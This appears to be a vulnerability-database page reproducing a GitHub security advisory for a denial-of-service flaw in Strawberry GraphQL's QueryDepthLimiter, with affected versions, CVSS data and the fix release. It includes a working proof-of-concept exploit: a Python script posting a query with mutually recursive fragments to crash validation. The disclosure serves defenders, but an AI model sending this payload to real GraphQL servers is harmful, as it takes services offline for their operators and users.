GHSA-QFWV-87QJ-98XQ

Vulnerability from github – Published: 2026-06-04 14:38 – Updated: 2026-06-09 11:53
VLAI
Summary
Strawberry GraphQL has a Circular Fragment Reference DOS
Details

Summary

The QueryDepthLimiter extension is vulnerable to an Application-level DOS due to a lack of cycle detection in fragment spreads. When a query contains circular fragment references the determine_depth function enters an infinite recursion, leading to a RecursionError and crashing the validation process.

Details

The determine_depth function in query_depth_limiter.py recursively resolves FragmentSpreadNode without maintaining a set of visited fragments. By submitting a query with circular fragment references (e.g., Fragment A $\rightarrow$ Fragment B $\rightarrow$ Fragment A), the validator enters an infinite recursion.

PoC

server code

import strawberry
from fastapi import FastAPI
from strawberry.fastapi import GraphQLRouter
from strawberry.extensions import QueryDepthLimiter

@strawberry.type
class User:
    name: str = "GONA"

@strawberry.type
class Query:
    @strawberry.field
    def user(self) -> User:
        return User()

# Enable depth limiting
schema = strawberry.Schema(
    query=Query, 
    extensions=[QueryDepthLimiter(max_depth=10)]
)

app = FastAPI()
app.include_router(GraphQLRouter(schema), prefix="/graphql")

exploit

import httpx

# Circular reference: A -> B -> A -> B ...
payload = {
    "query": """
        fragment A on User {
            ...B
        }
        fragment B on User {
            ...A
        }
        query Crash {
            user {
                ...A
            }
        }
    """
}

try:
    response = httpx.post("http://127.0.0.1:8000/graphql", json=payload)
    print(response.json())
except Exception as e:
    print(f"Server crashed or timed out: {e}")

Impact

Since the validation happens before execution, an attacker can cheaply trigger this recursion error to exhaust server CPU cycles and thread/worker pools

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.315.6"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "strawberry-graphql"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.71.0"
            },
            {
              "fixed": "0.315.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47706"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-04T14:38:52Z",
    "nvd_published_at": "2026-06-04T15:16:54Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe QueryDepthLimiter extension is vulnerable to an Application-level DOS due to a lack of cycle detection in fragment spreads. When a query contains circular fragment references the determine_depth function enters an infinite recursion, leading to a RecursionError and crashing the validation process.\n\n### Details\nThe determine_depth function in query_depth_limiter.py recursively resolves FragmentSpreadNode without maintaining a set of visited fragments.\nBy submitting a query with circular fragment references (e.g., Fragment A $\\rightarrow$ Fragment B $\\rightarrow$ Fragment A), the validator enters an infinite recursion.\n\n### PoC\n**server code**\n```\nimport strawberry\nfrom fastapi import FastAPI\nfrom strawberry.fastapi import GraphQLRouter\nfrom strawberry.extensions import QueryDepthLimiter\n\n@strawberry.type\nclass User:\n    name: str = \"GONA\"\n\n@strawberry.type\nclass Query:\n    @strawberry.field\n    def user(self) -\u003e User:\n        return User()\n\n# Enable depth limiting\nschema = strawberry.Schema(\n    query=Query, \n    extensions=[QueryDepthLimiter(max_depth=10)]\n)\n\napp = FastAPI()\napp.include_router(GraphQLRouter(schema), prefix=\"/graphql\")\n```\n\n**exploit**\n```\nimport httpx\n\n# Circular reference: A -\u003e B -\u003e A -\u003e B ...\npayload = {\n    \"query\": \"\"\"\n        fragment A on User {\n            ...B\n        }\n        fragment B on User {\n            ...A\n        }\n        query Crash {\n            user {\n                ...A\n            }\n        }\n    \"\"\"\n}\n\ntry:\n    response = httpx.post(\"http://127.0.0.1:8000/graphql\", json=payload)\n    print(response.json())\nexcept Exception as e:\n    print(f\"Server crashed or timed out: {e}\")\n```\n\n### Impact\nSince the validation happens before execution, an attacker can cheaply trigger this recursion error to exhaust server CPU cycles and thread/worker pools",
  "id": "GHSA-qfwv-87qj-98xq",
  "modified": "2026-06-09T11:53:00Z",
  "published": "2026-06-04T14:38:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/strawberry-graphql/strawberry/security/advisories/GHSA-qfwv-87qj-98xq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47706"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/strawberry-graphql/strawberry"
    },
    {
      "type": "WEB",
      "url": "https://github.com/strawberry-graphql/strawberry/releases/tag/0.315.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Strawberry GraphQL has a Circular Fragment Reference DOS"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…